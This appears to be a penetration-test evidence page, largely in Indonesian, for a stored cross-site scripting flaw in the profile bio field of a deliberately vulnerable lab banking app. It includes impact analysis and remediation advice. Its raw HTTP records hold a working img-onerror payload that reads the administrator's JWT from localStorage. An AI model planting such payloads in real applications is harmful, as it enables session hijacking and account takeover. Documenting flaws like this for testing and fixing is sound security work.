Skenario 18 / 26FAIL
Stored Cross-Site Scripting - User Profile - Bio Field
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field
Deskripsi
Endpoint /update_bio menyimpan isi bio tanpa sanitasi apa pun. Panel administrasi kemudian menyisipkan nilai tersebut ke dalam DOM melalui innerHTML pada template literal tanpa escaping (templates/admin.html), sementara field lain di modal yang sama seperti id dan account_number justru melewati fungsi escapeHtml. Akibatnya markup yang dikirim pengguna biasa dieksekusi sebagai HTML di dalam sesi administrator.
Dampak
Confidentiality + Integrity (Critical): pengguna dengan hak paling rendah dapat menanam skrip yang berjalan di browser administrator tanpa interaksi apa pun selain membuka detail pengguna, yang merupakan tugas rutin admin. Karena token sesi disimpan di localStorage dan dapat dibaca JavaScript, payload berhasil mengambil JWT administrator secara utuh. Token tersebut memberi penyerang kendali penuh atas panel administrasi, termasuk menghapus akun, membuat administrator baru, dan menyetujui pinjaman.
CWE
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
OWASP
A03:2021 - Injection
Skenario
Normal: bio diisi teks biasa dan tampil sebagai teks pada modal detail pengguna di panel admin. Eksploitasi: penyerang mengisi bio dengan tag img beserta handler onerror. Payload tersimpan mentah dan dikembalikan apa adanya oleh /api/v3/user/2. Dampak: administrator membuka modal detail pengguna tersebut, payload dieksekusi di dalam sesi administrator dan membaca JWT administrator dari localStorage.
Endpoint
POST http://127.0.0.1:5001/update_bio
GET http://127.0.0.1:5001/api/v3/user/<user_id>
Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (modal detail pengguna)
Fitur terdampak
Bio profil pengguna dan modal detail pengguna pada panel administrasi
Rekomendasi perbaikan
- Render nilai yang berasal dari pengguna sebagai teks (textContent), bukan innerHTML; terapkan escapeHtml pada field bio sebagaimana sudah dilakukan pada field lain di modal yang sama.
- Sanitasi bio di sisi server dengan pustaka allow-list saat disimpan dan saat dikembalikan API.
- Terapkan Content-Security-Policy yang melarang inline script dan handler event.
- Simpan token sesi pada cookie HttpOnly dan SameSite, bukan localStorage, agar tidak terjangkau JavaScript.
Bukti konsep
1) (Screenshot 1) NORMAL: bio diisi teks biasa melalui /update_bio -> tersimpan.
2) (Screenshot 2) EKSPLOITASI: bio diisi tag img dengan handler onerror -> diterima tanpa sanitasi.
3) (Screenshot 3) SINK: /api/v3/user/2 mengembalikan payload mentah apa adanya, inilah data yang dikonsumsi panel admin.
4) (Screenshot 4) NORMAL UI: administrator membuka modal detail pengguna saat bio berisi teks biasa -> tampil sebagai teks.
5) (Screenshot 5) DAMPAK CIA: administrator membuka modal detail pengguna yang sama setelah payload ditanam -> skrip dieksekusi di dalam sesi administrator dan menampilkan JWT administrator yang berhasil dicuri secara utuh.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field
Description:
Endpoint /update_bio menyimpan isi bio tanpa sanitasi apa pun. Panel administrasi kemudian menyisipkan nilai tersebut ke dalam DOM melalui innerHTML pada template literal tanpa escaping (templates/admin.html), sementara field lain di modal yang sama seperti id dan account_number justru melewati fungsi escapeHtml. Akibatnya markup yang dikirim pengguna biasa dieksekusi sebagai HTML di dalam sesi administrator.
Impact:
Confidentiality + Integrity (Critical): pengguna dengan hak paling rendah dapat menanam skrip yang berjalan di browser administrator tanpa interaksi apa pun selain membuka detail pengguna, yang merupakan tugas rutin admin. Karena token sesi disimpan di localStorage dan dapat dibaca JavaScript, payload berhasil mengambil JWT administrator secara utuh. Token tersebut memberi penyerang kendali penuh atas panel administrasi, termasuk menghapus akun, membuat administrator baru, dan menyetujui pinjaman.
CWE:
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
OWASP:
A03:2021 - Injection
Scenario:
Normal: bio diisi teks biasa dan tampil sebagai teks pada modal detail pengguna di panel admin. Eksploitasi: penyerang mengisi bio dengan tag img beserta handler onerror. Payload tersimpan mentah dan dikembalikan apa adanya oleh /api/v3/user/2. Dampak: administrator membuka modal detail pengguna tersebut, payload dieksekusi di dalam sesi administrator dan membaca JWT administrator dari localStorage.
Endpoint:
POST http://127.0.0.1:5001/update_bio
GET http://127.0.0.1:5001/api/v3/user/<user_id>
Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (modal detail pengguna)
Affected Feature:
Bio profil pengguna dan modal detail pengguna pada panel administrasi
Remediation:
- Render nilai yang berasal dari pengguna sebagai teks (textContent), bukan innerHTML; terapkan escapeHtml pada field bio sebagaimana sudah dilakukan pada field lain di modal yang sama.
- Sanitasi bio di sisi server dengan pustaka allow-list saat disimpan dan saat dikembalikan API.
- Terapkan Content-Security-Policy yang melarang inline script dan handler event.
- Simpan token sesi pada cookie HttpOnly dan SameSite, bukan localStorage, agar tidak terjangkau JavaScript.
POC:
1) (Screenshot 1) NORMAL: bio diisi teks biasa melalui /update_bio -> tersimpan.
2) (Screenshot 2) EKSPLOITASI: bio diisi tag img dengan handler onerror -> diterima tanpa sanitasi.
3) (Screenshot 3) SINK: /api/v3/user/2 mengembalikan payload mentah apa adanya, inilah data yang dikonsumsi panel admin.
4) (Screenshot 4) NORMAL UI: administrator membuka modal detail pengguna saat bio berisi teks biasa -> tampil sebagai teks.
5) (Screenshot 5) DAMPAK CIA: administrator membuka modal detail pengguna yang sama setelah payload ditanam -> skrip dieksekusi di dalam sesi administrator dan menampilkan JWT administrator yang berhasil dicuri secara utuh.
02 — Tangkapan layar
Tangkapan layar (5)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 48
Content-Type: application/json
{"bio": "Personal banking customer since 2024."}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:53 GMT
{
"bio": "Personal banking customer since 2024.",
"message": "Bio updated successfully",
"status": "success"
}REKAMAN 02 / 2
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 413
Content-Type: application/json
{"bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 484
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:55 GMT
{
"bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
"message": "Bio updated successfully",
"status": "success"
}REKAMAN 03 / 3
GET /api/v3/user/2 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 597
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:56 GMT
{
"status": "success",
"user": {
"account_number": "0932191785",
"balance": -8100.0,
"bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
"id": 2,
"is_admin": false,
"username": "pentest_attacker"
}
}